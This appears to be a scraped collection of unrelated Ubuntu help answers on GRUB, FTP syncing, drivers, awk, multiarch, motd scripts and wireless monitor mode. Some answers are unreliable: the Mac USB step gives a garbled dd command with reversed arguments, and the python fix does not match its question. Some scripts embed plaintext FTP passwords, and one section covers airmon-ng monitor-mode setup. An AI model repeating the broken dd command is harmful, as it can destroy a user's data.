Find the line which ends with quiet splash and add nomodeset in front of it. So it becomes nomodeset quiet splash. Whatever is there in front of it leave it as it is just add nomodeset in front of quiet splash.

Now press Ctrl+X to boot it normally. It will lead you to Try Ubuntu Without installing option. Now from here too you can install Ubuntu. As install Ubuntu option is always there in the live session. Now after installing Ubuntu we need to change nomodeset thing permanently so that we don't have to do it again.
After successfully installing the system will reboot. Press shift button for 5 seconds to get the grub menu after the system starts. If it does not work then try the same with Esc. The most important thing is that it is all about timing.
Now again repeat step 2 so that we can login in the system.
Now open a terminal and type sudo nano /etc/default/grub it will be having contents similar to this.

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX=""

Find the line having quiet splash and add nomodeset in front of it.
Now save it with Ctrl+O and exit it with Ctrl+X. In order to update grub menu enter:

sudo update-grub

Source and credits

Update and Edit 1

After the above, I was able to boot and install Ubuntu 18.04. I was not able to control screen brightness after installing and setting grub setting as nomodeset so after searching on StackOverflow further I came across this question and I also got to know that nomodeset is a temporary fix. I updated my kernel and after this, I changed grub setting as it was earlier, i. e. removing nomodeset in /etc/default/grub and updated grub. Now it's working awesome.

Try Display brightness cannot be adjusted 18.04 if you face issues such as unable to control screen brightness.


Python command starts python3 but no alias is set

Open the terminal and type:
sudo apt install python-is-python2

This is a convenience package which ships a symlink to point /usr/bin/python interpreter at the current default python2.


how can i use grep to find IPV4 Number in a pcap file with regx syntac?

Your egrep command is working for me, to make the grep -e work just escape the control characters, and to make it print only the IP-s use the -o option for grep:

tcpdump -nr Ncapture.pcap | grep -oe '\(\(25[0-5]\|2[0-4][0-9]\|[01]\?[0-9][0-9]\?\)\(\.\|$\)\)\{4\}'

But as I see this will print a dot at the end of the IP, if you don't like that, then you have to add the last octet separatly, i.e:

tcpdump -nr Ncapture.pcap | grep -oe '\(\(25[0-5]\|2[0-4][0-9]\|[01]\?[0-9][0-9]\?\)\(\.\|$\)\)\{3\}\(25[0-5]\|2[0-4][0-9]\|[01]\?[0-9][0-9]\?\)'

To make it only print an IP once:

tcpdump -nr Ncapture.pcap | grep -oe '\(\(25[0-5]\|2[0-4][0-9]\|[01]\?[0-9][0-9]\?\)\(\.\|$\)\)\{3\}\(25[0-5]\|2[0-4][0-9]\|[01]\?[0-9][0-9]\?\)' | sort | uniq


How to automatically sync the contents of a local folder with the contents of a ftp folder?

First solution

Install lftp

sudo apt-get install lftp

after that create script

#!/bin/bash
HOST='mysite.com'
USER='myuser'
PASS='myuser'
TARGETFOLDER='/new'
SOURCEFOLDER='/home/myuser/backups'

lftp -f "
open $HOST
user $USER $PASS
lcd $SOURCEFOLDER
mirror --reverse --delete --verbose $SOURCEFOLDER $TARGETFOLDER
bye
"

Save it on some place with name upload.sh. Give it +x permission.

sudo chmod +x /path_to_script/upload.sh

Setup crontab to run this command on every x period of time

For editing crontab run

crontab -e

For running command on every 5 min code is

 */5 * * * * /path_to_script/upload.sh

on every hour

 0 */1 * * * /path_to_script/upload.sh

to run on 4 am

 0 4 * * * /path_to_script/upload.sh

Solution two

Create a small and easy script called lftp-script that LFTP can read:

open ftp://username:password@website.com
mirror -v --only-newer /home/local/path/ /website.com/public_html/

Finally you can run LFTP and start the synchronisation. Set crontab like I write but put command

lftp -f /path/to/lftp-script

something like this

 */5 * * * * lftp -f /path/to/lftp-script

Solution three

Install curlftpfs

sudo apt-get install curlftpfs

you need to do in order to mount ftp locally is to to run these commands
create dir witch will be sync-ed

mkdir hostr

mount remote ftp dir to local

sudo curlftpfs -o allow_other ftp://user:pass@ftp.example.com host

user:pass is the username and password to log into ftp account.

You can add curlftpfs to fstab for automatic mounting by using this line :

curlftpfs#user:pass@ftp.example.com /mnt/host fuse rw,uid=500,user,noauto 0 0


It's possible that the graphic card has the optimus chip in it, if so you're a bit out of luck

There's Bumblebee to support nVidia Optimus though

Post your lspci -vnnn | grep VGA

You should read this article How well will Nvidia Optimus cards be supported in 12.04?

If you find that you do have Optimus enabled and want to use it, you can install Bumblebee like so:

sudo add-apt-repository ppa:bumblebee/stable

If you are on Ubuntu 11.04 or older and want newer drivers (recommended) than the ones available in the official repos, run:

sudo add-apt-repository ppa:ubuntu-x-swat/x-updates
sudo apt-get update

Install Bumblebee using the proprietary nvidia driver:

sudo apt-get install bumblebee bumblebee-nvidia
sudo usermod -a -G bumblebee $USER

Note: No need to change $USER, this variable is set to your username.

Reboot or re-login.

If you intend to run 32-bit programs like Wine and using Ubuntu 11.10 Oneiric or later, install 32-bit libraries with:

sudo apt-get install virtualgl-libs:i386 libgl1-mesa-glx:i386 libc6:i386


The package seems to be unavailable, but, very basically, here it is:

Go to the site you would like to download from
Download the *.deb file here
Go to the directory where you saved (Most likely the downloads folder) cd ~/Downloads
ls
if the libhal1_0.5.14-8ubuntu1_i386.deb package is listed,
sudo dpkg -i libhal1_0.5.14-8ubuntu1_i386.deb
input password, y and it should install.


Create a bootable USB stick for ubuntu (Mac)

Using Mac to make bootable USB.

Turn the ISO to an IMG; You first need to rename that and remove the '.dmg' part. It will ask you if you're sure you want to change the file extension;  click yes.

Then you can perform the

sudo dd if=Dev/sdx of /path/to/.img

Edit: As for how long it takes, it's usually between 5 and 15minutes for my MacBook Air to produce an Ubuntu usb


Is it possible to enable PCI USB controller from GRUB2 console?

It's not a direct answer but I've successfully booted (and installed Ubuntu) directly from iso using GRUB2 console: http://ubuntuforums.org/showthread.php?t=1599293


I feel like you're asking two different questions here, so I'm just going to answer both.

Get all matches

There's something weird going on here, because the command

awk '/>23958742<\/PMID>/,/<\/PubmedArticle>/' <file.xml

already should output all matches instead of just the first one. There is an alternative though (short and readable version):

awk '/>23958742<\/PMID>/{f=1}f==1;/<\/PubmedArticle>/{f=0}' <file.xml
awk '/>23958742<\/PMID>/ {f=1}; f==1 {print}; /<\/PubmedArticle>/ {f=0}' <file.xml

Get the Nth match

awk '/>23958742<\/PMID>/{i++}i==2&&k==1;/<\/PubmedArticle>/{k++}' <file.xml
awk '/>23958742<\/PMID>/ {i++}; i==2 && k==1 {print}; /<\/PubmedArticle>/ {k++}' <file.xml

This will simply count the occurences of your strings, save the counts in i and k and print every line as long as the conditions i==2&&k==1 are still met. I chose the second block as an example here, for the third it would be i==3&&k==2 instead. The k count comes after the conditions because I understood you wanted both the matched lines also to be printed. If you only want what's between the search strings turn the whole thing around:

awk '/<\/PubmedArticle>/{k++}i==2&&k==1;/>23958742<\/PMID>/{i++}' <file.xml
awk '/<\/PubmedArticle>/ {k++}; i==2 && k==1 {print}; />23958742<\/PMID>/ {i++}' <file.xml

I always let the shell open the input file and assign it to the program's stdin (<file.xml) because this has a number of advantages, see here. I found help here and here.

A general solution proposed by terdon is this:

awk -vn=2 '/>23958742<\/PMID>/{i++;k=1}i==n&&k==1;/<\/PubmedArticle>/{k=0}' <file.xml
awk -vn=2 '/>23958742<\/PMID>/ {i++;k=1}; i==n && k==1 {print}; /<\/PubmedArticle>/ {k=0}' <file.xml

Using this you just need to set n with the -v option, e.g. -vn=2 for the second match.


Is there a way to re-install Ubuntu Software Center?

Yes. Run the following commands in terminal:

sudo apt-get purge software-center
sudo apt-get install software-center


Bootstrap Juju controller onto Openstack cloud

After some research was able to figure out why it was failing. Juju doesn't have any information about the image which needs to be used to create the controller VM in OpenStack. Hence the need to generate the meta data for that.

juju metadata generate-image -d ~/simplestreams -i $IMAGE_ID -s $OS_SERIES -r $REGION -u http://$KEYSTONE_IP:5000/v2.0/

IMAGE_ID should be the ID of the Ubuntu image stored in Glance. OS_SERIES is the release name.

After the metadata is created, it needs to source it during the bootstrapping process.

juju bootstrap --metadata-source /root/simplestreams


Ubuntu 19.10 How To Get Pandoc Making PDF Files?

You have to install texlive-fonts-recommended as well.

So in order for pandoc to actually create a PDF, you need to do the following:

  $ sudo apt install texlive-latex-base pandoc texlive-fonts-recommended

Now the above command works (one a valid markdown document named file.md):

  $ pandoc file.md -o file.pdf


Programming the upgrade of Ubuntu at login session

Create a Startup-Application like descriped in the askuubuntu forum: here.

As command use

<your-terminal> -x sh -c "sudo apt-get update; sudo apt-get dist-upgrade; sleep 30"

So in your case for example

gnome-terminal -x sh -c "sudo apt-get update; sudo apt-get dist-upgrade; sleep 30"

Afterwards the terminal should be opened and you have to enter your password.

Edit: Use sh -c "..." to get both commands run and the sleep command to prevent the terminal of closing immediately (read is not working here?)


How to get LightDM automatically started at startup after disabling it (in Ubuntu MATE)?

An enabled service should have a symlink to the unit file in /lib/systemd/system in /etc/systemd/system. The systemctl enable command should create that symlink, but in this case it fails for some reason. The correct symlink is:

$ ll /etc/systemd/system/display-manager.service
lrwxrwxrwx 1 root root 35 okt  7 00:20 /etc/systemd/system/display-manager.service -> /lib/systemd/system/lightdm.service

You can fix it by recreating the symlink yourself:

sudo ln -s /lib/systemd/system/lightdm.service /etc/systemd/system/display-manager.service

Tested in Ubuntu MATE 16.04.


Ubuntu vm install error [ 233.209703] hub 2-2:2:1.0: hub_port_status failed (err = -110)

From Ubuntu Forums:

Something caught my eye after looking at some of the other threads. In one of them it mentioned something about power. I disconnected the machine, not shutdown -P and reconnected the power cord.
Not only was I able to format with LVM as I was with the 9100 but after the reinstall there are no errant messages about the usb ports but the keyboard works perfectly.
There was also something I hadn't mentioned previously that during the install when prompted for locale it took a couple of minutes before hitting enter selected English, or anything else. This time it took the enter key right away. Who'd have thought power off / power on sequence would have resolved so much.

If you get problems with a Virtual Machine is probable that the problem is a bug in the virtual machine. Try shutting down your system, unplugging and then start again if the VM maps your USB devices to the guest OS.


Cant upgrade Ubuntu from 16.04 to 18.04-Hash sum mismatch

I solved this problem by installing freepats from debian package for freepats


For the reconfiguration process of incomplete/interrupted installation, Try to use dpkg --configure --pending , then after all packages becomes fixed, then you start repacking them using dpkg-repack.


The language guides are a good start, there is one for c/c++ using autotools, but in most cases it should be trivial to swap it for cmake if needed.

This is the guide https://docs.snapcraft.io/build-snaps/c

In any case, here is a domain specific guide for MOOS which makes use of cmake https://docs.snapcraft.io/build-snaps/moos which can be used as reference for the snapcraft.yaml specific syntax.


I can't find any files in .wax format. The formats on offer from the site are .wmv and .rm as far as I can see. The videos play fine within firefox if you have vlc and the browser plugin installed as that can handle wmv streams. So install firefox and vlc and then see the note below about installing the plugin:

NOTE: The vlc plugin for 12.04 is browser-plugin-vlc, but as you say you are running 10.04 you will need to install mozilla-plugin-vlc instead.

After installing vlc and the appropriate plugin for your Ubuntu version check firefox > preferences to see if wmv files are associated properly; the screenshot below shows how they now should look (although it might be slightly different and state mozilla plugin in 10.04). If the windows media files are not associated with the plugin simply choose the plugin from the list and associate them.

Now when you click on any video or audio .wmv streaming link from the site the media will start playing within the browser immediately; try single clicking this link or the most recent video link on the site when you read this answer.


Make sure the remote system can send mail. Create a script in cron's hourly folder.

sudo -e /etc/cron.hourly/ipcheck

The contents of the file:

#!/usr/bin/env bash
wget -q -t 5 --output-document=- "http://automation.whatismyip.com/n09230945.asp" | mailx -s "External IP Address" me@mydomain.com

Set the script to executable:

sudo chmod 0755 /etc/cron.hourly/ipcheck


If I'm interpreting your question wrong, just let me know and I will edit to suit

It is important to keep the distinction between host and guest clear, so I will try and do this with a hypothetical. I have a host (let's call it kvm1) with one physical NIC (eth0). That host is running one guest (let's creatively call it guest) which has been configured with one NIC. From inside guest, this NIC appears as eth1 (for clarity). If you want eth1 to have a static IP, all you need to do is add the IP using the /etc/network/interfaces file on guest, for example.

Now for the host configuration on kvm1: I'm going to assume you're using /etc/network/interfaces to configure host networking and that you have created a br0 interface and added eth0 to it (whether using brctl or virt-manager or virsh). Now, as long as the guest's VM configuration has its single NIC set up to be attached to br0, you should be good to go.

If you're using virsh/virt-manager, you can try running brctl show from a terminal to check. You should have a vmnetX interface showing up as a member of br0, and your guest is now directly bridged to the physical interface eth0. Now, connect eth0 to the nearest Ethernet switch in your LAN subnet, and guest should retain its static IP and be accessible from the rest of the network.

I'm hoping that made sense.


How to restore bash executable after accidentally deleting it?

Using

sudo apt-get install --reinstall bash

Unless something goes wrong with the pre / post installation scripts, you should be able to reinstall bash and to collaterally replace the symlink with the executable. If this doesn't work, try to remove the symlink and try again. This will also upgrade bash to the latest version.


Why does my 64-bit system look for 32-bit repos?

Confusing, isn't it? Let me explain a bit.

Why?

32-bit software runs fine on a 64-bit kernel with 64-bit capable hardware.
Some software still relies on specific 32-bit libraries. This is not nice, but sometimes we don't have the power to change this.
32-bit software has to be available to the system to satisfy the dependencies, so it uses the 32-bit repositories as well.

I'm from early 2011. What happened?

In 64-bit versions of Ubuntu before 11.10, some set of common 32-bit libraries were packaged in a single ia32-libs package represented to APT/Dpkg as being 64-bit and in such a location in the repository. If you happen to need a single library for an application, it would depend on the 150+ MB of 32-bit libraries1. Clearly, this is not a nice design.

Multiple architectures?

The new idea was to introduce so-called "Multiarch" capabilities to APT/Dpkg and the tools around it. This was presented in several blueprints on Launchpad, here is one of them. Oneiric (11.10) became the first release that supported Multiarch.

How does it work?

You can tell Dpkg what architectures your system is capable running. On my 12.04 64-bit installation, this is here:

$ cat /etc/dpkg/dpkg.cfg.d/multiarch
foreign-architecture i386

It opens the whole world of i386 packages, with amd64 still being the default:

$ apt-cache show libqt4-core                   | grep -E "^(Filename|Architecture)"
Architecture: amd64
Filename: pool/universe/q/qt4-x11/libqt4-core_4.8.1-0ubuntu4.3_amd64.deb

$ apt-cache show libqt4-core:i386              | grep -E "^(Filename|Architecture)"
Architecture: i386
Filename: pool/universe/q/qt4-x11/libqt4-core_4.8.1-0ubuntu4.3_i386.deb

The above example shows that Multiarch enables package maintainers to simply make their packages depend on libqt4-core:i386 for example, and makes it possible to install any 32-bit library/package (and thus to install any package that depends on any 32-bit library/package), rather than a preselected set.

ia32-libs compatibility

In case you were used to install the ia32-libs package as a convenience package to install a common set of basic 32-bit libraries, you can now use ia32-libs-multiarch . This is a simple metapackage depending on the same (or at least very similar) set of libraries, but it will be installed with the power of Multiarch.

Further related readings

Why can't I install "ia32-libs" (no candidate)?
Ubuntu Community Wiki on MultiArch
Ubuntu Official Wiki on the tech details and exact specification

1 For Lucid (10.04) the ia32-libs package install size is 155,812.0 kB.


How do I install Ubuntu from my trial USB stick, preserving all my applications and settings?

Backup your software and settings, and install Ubuntu normally using your USB...

You can use Aptik for you backup:

Aptik - all you need is a backup directory, stored locally or in the cloud. Aptik will backup PPAs, downloaded packages, software selections, application settings and themes and icons. Very useful.

You can install it through the ppa:

sudo apt-add-repository –y ppa:teejee2008/ppa
sudo apt-get update
sudo apt-get install aptik

Did that help you? =)


How install Ubuntu on already existing Ubuntu partition

Boot ubuntu installation disk,and run install ubuntu option.
Select something else option to manually  select the partition where you are going to install ubuntu.
Select the already installed ubuntu 12.10 partition and format it to ext4 filesystem.
Then choose the same formatted partition,to install or reinstall ubuntu.


The package name of NetScape Portable Runtime Library in Ubuntu is libnspr4-0d.

To install open a terminal and run the command: sudo apt-get install libnspr4-0d

Hope this helps.


alt-f2 stops working and other issues when using a mac keyboard on 12.04

The answer is surprisingly simple.

1) Under Settings / Keyboard / Layout Settings / Options you can swap around the alt/⌘ keys to your liking. I'm trying this option, which swaps Alt and ⌘ just on the left side of the keyboard. But the other option "Control is mapped to Alt keys, Alt is mapped to Win keys" also works, while removing the stupid "⌘" key entirely.

2) The alt-f2 key was already there, just hidden behind needing to hold down "fn". You can change that behavior to what you really want by

$ echo 2 | sudo tee /sys/module/hid_apple/parameters/fnmode

and to make that permanent

$ echo options hid_apple fnmode=2 | sudo tee -a /etc/modprobe.d/hid_apple.conf
$ sudo update-initramfs -u -k all

3) You can set up the "PrintScr" stuff yourself in this settings dialog. Use the f13 key and the settings will change it from "Print" to "Tools". Here's a picture of half of the settings having been changed.


xrdp on Ubuntu 14.04 blocking a single user

to be honest, your question is a little bit unclear.  If what you are looking for is to reconnect to the same session via xrdp,  the best options or recommendation I can give you are the following

upgrade your system to Ubuntu 14.10 or later. This version has a new xrdp package that allow you to reconnect to existing session with no additional configuration (see info here
try to find and install/upgrade the xrdp package version 0.6-1.x which allow you to reconnect to the same session
perform a custom installation of xrdp. Using x11vnc with xrdp, you can achieve the same result i.e reconnecting to existing session (see here for instructions on how to perform a custom installation

Again, not sure about what your problem but hope this is helpful


Here is an implementation on per user/group motd inspired by motd or login banner per user

First comment out:

session    optional   pam_motd.so  motd=/run/motd.dynamic
session    optional   pam_motd.so

in /etc/pam.d/login and set PrintMotd no in /etc/ssh/sshd_config

Then you could define your per user/group message script and put it in folder, for example:

sudo mkdir -p /etc/mymotd/groups
sudo mkdir -p /etc/mymotd/users

In these folders you can create executable scripts for each groups or users that prints on standard output the message of the day.

You could create /etc/profile.d/perUserGroupMotd.sh with the follow lines:

gidName=`id -gn`
if [ -e /etc/mymotd/groups/$gidName ]; then
   /etc/mymotd/groups/$gidName
else
   if [ -e /etc/mymotd/users/$USER ]; then
      /etc/mymotd/users/$USER
   fi
fi

or you can use file to enable/disable message and than run /path/to/script -g $gidName or /path/to/script -u $USER, obviously there are many different possible implementations.

About pam_motd, at the end I found these two bug:

pam_motd runs commands as root with unsanitised environment: this is a security hole and update-motd patch is: unset environment and manually set PATH variable.
Multiple issues with pam_motd update-motd code: one of this multiple issues is about a missing lock on file generated by update-motd. In multi-user system, multiple concurrent access can result in corrupted motd.

For these reasons I guess is not possible to use pam_motd for your objective.

HUSHLOGIN_FILE directive in /etc/login.defs should inhibits all the usual chatter during the login sequence, so any output is suppressed even last login date.

I guess that motd is designed to reach all user in the system and because of this ssh and pam_motd simple enable or disable it for all user.


I solved the problem in this way:

sudo apt-get install pulseaudio pavucontrol && pavucontrol

Reboot. Change options in "Configuration" tab and you will suddenly hear the sound again.


Qt QML modules, how to import them and know what to import & QtMultimediaKit 1.0

This is because Ubuntu Touch uses Qt 5 and qtmultimediakit is an older Qt Mobility module. See this quote from Qt's website:

  The Qt Multimedia module in Qt 5 combines (and replaces) two older modules, namely the Qt Multimedia module from Qt 4.x, and Qt Multimedia Kit module from Qt Mobility. Existing code that uses Qt Multimedia from Qt 4 can be ported with minimal effort, but porting code that uses Qt Multimedia Kit may be a more involved process. The changed features section highlights changes relevant to porting.

In other words, the Qt Multimedia module in Qt 5 is the successor to QtMultimediaKit. Since Ubuntu Touch only uses Qt 5 I don't think QtMultimediaKit would work.

The reason your import didn't work was because the QtMultiMediaKit files are stored in /usr/lib/<architecture>/ while the SDK only looks in the qt5 folder of /usr/lib/<architecture>/.

Long story short, using the Qt 5 Multimedia Module is the right way of doing it!


Macbook Pro won't boot after 13.10 upgrade

Hope this would help you

Start your system in Recovery Mode, 2nd option from Grub Menu. If your system boots automatically then you may have to hold Shift key while booting.
When starts in Recovery Mode you would get some options, go to fsck option there and press yes when prompt to check the file system.
Then go to grub option listed there and again yes when prompt to mount your system in read/write mode.
Again to go dpkg option it will fix any broken packages, you may have to enable network by going to network option there. Chose yes for all.
Finally go to root option and execute following commands:

apt-get -f install
apt-get autoremove && apt-get autoclean
dpkg --configure -a
update-initramfs -u
update-grub
reboot

Once your system reboots you would be able to login without any problem.

Reply if something goes wrong.


Can't "sudo" anything. Any command returns a help message

Run alias. See if there's an alias for sudo. Also, try set | grep sudo to see if there's anything there.

If you find anything, look in ~/.bashrc and ~/.profile for the alias or function overriding sudo.


Looks like you are missing some java libraries from the error messages. Try:

sudo apt-get install libswt-gtk-3-jni libswt-gtk-3-java

I think those are the correct packages, but when you see error messages like Unsatistified dependency this means you are missing something the program needs to work. So you need to find the package that has that dependency and add it to your computer.


This happens when making a bootable USB is not done properly (usually when done using PowerISO)...

Please format that USB. and.. follow the below-given methods to create LiveUSB

If you are using Windows:

You can use Universal USB Installer...

For complete description: Official Ubuntu Help on creating Live USB
If you already have an Ubuntu You can use the Startup Disk Creator: Ubuntu help

Additional information :

If you created the installation media using the Disks tool, it cannot be readable on Windows.


yoga 2 pro won't boot after update to ubuntu 15.10/ GDM

step 1
First I reverted to lightdm. If you never installed gdm you can skip this step. This sounds straightforward but it's not, as you need to use gdm to select lightdm as the default before removing gdm. So:
CTRL-ALT-F1
log in
sudo apt-get install --reinstall gdm
select lightdm as the default window manager
sudo apt-get remove gdm
restart for good measure.
step 2
If it doesn't work still:
CTRL-ALT-F1
log in
sudo apt-get install ubuntu-session (reinstall if you have to)
This
solved it for me.
Why you ask? No idea. Your mileage may vary.
Update
My mileage did vary, after an update I was back to square one. I noticed some inconsistencies too, so I decided to use
sudo apt-get update
sudo apt-get install --reinstall ubuntu-desktop
sudo apt-get install --reinstall unity

And it seems to be working again. For now.


How to auto mount partition on startup in Xubuntu?

You have duplicated lines for the same mount point
/media/sda3 appears two times.
Try creating a new mount point like /media/newdisk
and put it in  your /etc/fstab
I'm taking your input as example, if /media/sda3 works, so should this line.

UUID=1C33A98704D941F1   /media/newdisk     ntfs-3g defaults,locale=en_US.UTF-8    $


Error for wireless request "Set Frequency" (8B04) :

The command used to setup mon0 monitor interface should be enough to force monitoring that channel 11.

sudo airmon-ng start wlan0 11

But your interface wlan0 seem already connected to an access point. So wlan0 is on that AP's channel 5.

I suppose you have already get a note when starting mon0 similar to this one:

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
875     avahi-daemon
883     avahi-daemon
982     NetworkManager
1183    wpa_supplicant
2081    dhclient
Process with PID 2081 (dhclient) is running on interface wlan0

Well, you should disconnect and stop all those processes:

nmcli d disconnect iface wlan0

sudo service avahi-daemon stop
sudo stop network-manager
sudo pkill wpa_supplicant
sudo pkill dhclient

Then start monitor again:

sudo airmon-ng stop mon0
sudo airmon-ng start wlan0 11


Repeating what I said in comment section to not leave question hanging without answer, in order to bind one of Bash readline commands you can use bind command. For example, Crtl+N shortcut can be used with:

$ bind '"\C-n": history-search-backward'

This will be limited to current session and needs to be placed inside .bashrc to have it established in every one.

Expanding my answer, you can also modify ~/.inputrc file, as mentioned in link provided in question. There are two ways to do this. First syntax for same shortcut as above is:

"\C-n": history-search-backward

And the second one is:

Control-n: history-search-backward

This second type of syntax can be used with bind as well:

$ bind 'Control-n: history-search-backward'


gdisk has a h command that creates an MBR along with an existing GPT:

h   Create a hybrid MBR. This is an ugly workaround that enables
    GPT-unaware OSes, or those that can't boot from a GPT disk, to
    access up to three of the partitions on the disk by creating MBR
    entries for them. Note that these hybrid MBR entries can easily
    go out of sync with the GPT entries, particularly when
    hybrid-unaware GPT utilities are used to edit the disk. Thus,
    you may need to recreate the hybrid MBR if you use such tools.
    Unlike the 'g' option, this option does not support converting
    any partitions into MBR logical partitions.

Of course:

the GPT prevails and the MBR is just an image which must be updated each time the GPT changes.
the MBR won't be created from an incompatible GPT (partitions too large, too many partitions, etc)
use it with caution! Backup your data before fiddling with the disc partitions


Identify which grub menu item used when booting

Here is a solution I found:

The file /boot/grub/grubenv contains the name of the chosen entry

So I can now use

if grep -q 'Whatever' /boot/grub/grubenv; then
#   do stuff
fi


How to disable Ctrl + Alt + Del in Unity

You cannot send Ctrl+Alt+Del to VirtualBox by pressing those exact keys on the keyboard, even if they are not reassigned in Unity.  You can send the Ctrl+Alt+Del combination in VirtualBox at least two ways:

Click the "Machine" menu and choose "Insert Ctrl-Alt-Del"
Press the "Host key" and the "Del" key.

The host key is usually the Right Ctrl key, but you can change that to be something else.  If you have not changed it, try pressing Ctrl-Del in your VirtualBox to send Ctrl+Alt+Del.  Make sure you use the Right Ctrl key and not the Left one.

This is detailed further in the VirtualBox user manual in the section titled Typing Special Characters.


The directory you're using for a mount point has to exist before you can mount something on it. So,

sudo mkdir /linoxide/proc


Sound problem while gaming on HP Pavilion DV4

I haven't tried any steam game on Ubuntu yet. But for native games this works.

sudo rm /dev/input/js0


Can Thunderbird send an out-of-office autoreply?

Thunderbird and Outlook are local E-Mail-Clients so they must be running to answer your E-Mails. The difference is, that Outlook is often connected to an Exchange-Server which sends those Messages on your behalf (and runs all the time btw.). Thunderbird doesn't have such a Server equivalent and therefore doesn't provide the functionality you are asking for. You need to find out which Mailserver your company is running and configure your out-of-office note there (ask an Admin).


As a Ubuntu newbie myself I can only share my experience thus far. The Ubuntu Software Center helps for managing software without working with the command prompt. While I'm not qualified to make this statement, avoiding the terminal altogether isn't an option. As I've learned more commands and shortcuts, my speed of interaction has increased.

The Ubuntu Desktop has a lot of depth to it, so it really depends on what you want to do. For example, if you mostly surf the web and use simple programs like word processing and playing music, you can avoid using the terminal.

The Installer will get you set up with most of the basics, past that you can find a lot of other programs in the Ubuntu Software Center.


Trying to Play Civ 5 or Civ 6, but they are not loading

Sorry this is a bit late, but I had this same exact problem, and I fixed it with a solution in another thread. The issue seems to lie with pulseaudio. Add the following to your Civ V launch options...

LD_PRELOAD=/usr/lib32/libopenal.so.1 %command%

Source: https://superuser.com/questions/1335784/civ-5-crashes-on-startup


maybe you have too much startup aplication?
too look that you can search on dash "startup application"
remove the application you not use for the startup,
hope this can solve your problem


Correct place to set $BIBINPUTS environment variable

Have you tried setting it in ~/.profile and then logging out and back in? Any variables you set in that file should get set when you log in via either X or ssh/console. If setting it in there does not work, it is a bug, and you should open a bug report about it.


I've seen this on occasion, I think it's due to some driver problems. What I do is open a window, and then drag it over the corrupted area, it should act like an eraser and show you the normal background.

It's reported on Launchpad: Bug #769458 Desktop background not properly drawn on login (dual monitor)


Nautilus uses different permissions for mounted drives

It's a bug: Nautilus says the USB stick is read only when it is not  https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1021375


Ubuntu 18.10 - problem with installation of Radeon Software 18.40

This should address the GL error:

sudo apt install mesa-utils

If you want the latest AMD driver which runs on 18.10 run the following:

sudo add-apt-repository ppa:oibaf/graphics-drivers
sudo apt upgrade

Then after a reboot you should be all set.


Does Ubuntu have a repair disk similar to Windows repair disk?

The problem with Windows is the following:

One issue in one simple part of the system can mess up everything else. The network stack issue can be reflected in weird behaviour of the file manager (explorer), etc.

With Linux, everything is more contained, a faulty application may not affect others, everything is keep modulated so if there's an issue, you can fix it accurately.

So, no. There isn't a fix-it-all application to fix every and any issue in Linux, ergo Ubuntu. Just read the fine error message (if any), try to describe your problem accurately and you may find a solution.


Panoramtech ads on Firefox (ShowIP extension)

Answered by OP:

The ShowIP extension is the bad guy, and it is calling the malware page.

  A new version was pushed out yesterday, v2.5, and it injects a request into every page load to a site thats seems to be well known for malware. I highly recommend disabling it or rolling back to v2.4 if you need it.


You (probably) have awesome installed. The package – for reasons beyond my understanding – ships a desktop file with NoDisplay = true set.

To get awesome to show up in your login manager, open /usr/share/xsessions/awesome.desktop in an editor with root rights and remove the NoDisplay = true line. Save it, log out and you should see the option to log into awesome.


You need to declare the PATH variable in your scripts, afterwards it will work.
At the top of the files (both the crontab and the script that's going to be executed):

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin


Telugu input (using ibus-m17n) not working correctly on Ubuntu 20.04

It's probably a font configuration issue.
Assuming that you have the fonts-telu package installed, I suggest that you create the file ~/.config/fontconfig/conf.d/10-prefer-telugu.conf and give it this contents:
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
    <alias>
        <family>serif</family>
        <prefer>
            <family>Lohit Telugu</family>
        </prefer>
    </alias>
    <alias>
        <family>sans-serif</family>
        <prefer>
            <family>Lohit Telugu</family>
        </prefer>
    </alias>
    <alias>
        <family>monospace</family>
        <prefer>
            <family>Lohit Telugu</family>
        </prefer>
    </alias>
</fontconfig>


the problem was caused by deinterlace settings. I am now using yadif deinterlacing mode.


Can't access nm-applet through Applications menu on 16.04

This problem seems to have gone away, the command

Applications -> Other -> Network

does pull up a network menu. It may have been fixed when I ran the command

sudo apt-get -y dist-upgrade

which bumped-up my Ubuntu level to 16.04.2.


Your problem is that the LANG environment variable is set to en_US.UTF-8 while no locale with that name has been generated. Fix it by running:

sudo locale-gen en_US.UTF-8


How to disable 3rd party app tray icons/indicators in Ubuntu 18.10?

I'm happy to share a solution to this problem.
File responsible for app indicators is /usr/share/gnome-shell/extensions/ubuntu-appindicators@ubuntu.com/appIndicator.js
So, simply make a backup of it - appIndicator.js.BAK = no more ugly indicators.
And don't forget to restart the machine/session for changes to take effect ;)
The only downside of disabling it will be up to you to configure your apps to not show the tray icons and not interact with it.
And a proof...


Try http://github.com/Bumblebee-Project/Bumblebee/wiki/Multi-monitor-setup
It has steps to enable more monitors, I have not tried it.


How to enable hardware acceleration for web browser

After trying it multiple times I found out that the guide How To Enable Hardware Acceleration In Chromium On Ubuntu Or Linux Mint (VA-API Patched PPA Builds actually works. Pay close attention to Step n.7 and it should work fine.
To check if it works for you:

Go on Youtube and start a video.
Go inside chrome://media-internals and look for the tab that has (kPlay) under it. It represents the video that is currently playing. Click on it.
Look for kVideoDecoderName. If it is "FFmpegVideoDecoder", the Hardware Acceleration is not working. If it is MojoVideoDecoder, you're using Hardware Acceleration.

Another way to check if it works is to open Chrome and Chromium on the same Youtube video. Play them one at a time and check your CPU usage. If you did everything right Chromium should have a considerably lower CPU usage. (Just so you can get the idea, for me Chromium with Hardware Acceleration was using around 18%-20% of CPU, while Chrome without Hardware Acceleration was using around 40%-45%, sometimes with peaks of 60%).
Just as a precaution I suggest to also follow this guide How to Turn Hardware Acceleration On and Off in Chrome. I know it is for Chrome, but it should work the same on Chromium.


Live CD doesn't boot, drops to BusyBox shell

Try burning again. If doesn't work, re-download and burn again. Go for the torrent version, it's fastest and most reliable.


Do the amd64+mac versions of Ubuntu work on Windows too?

The amd64+mac version should work on both the Mac and the PC.

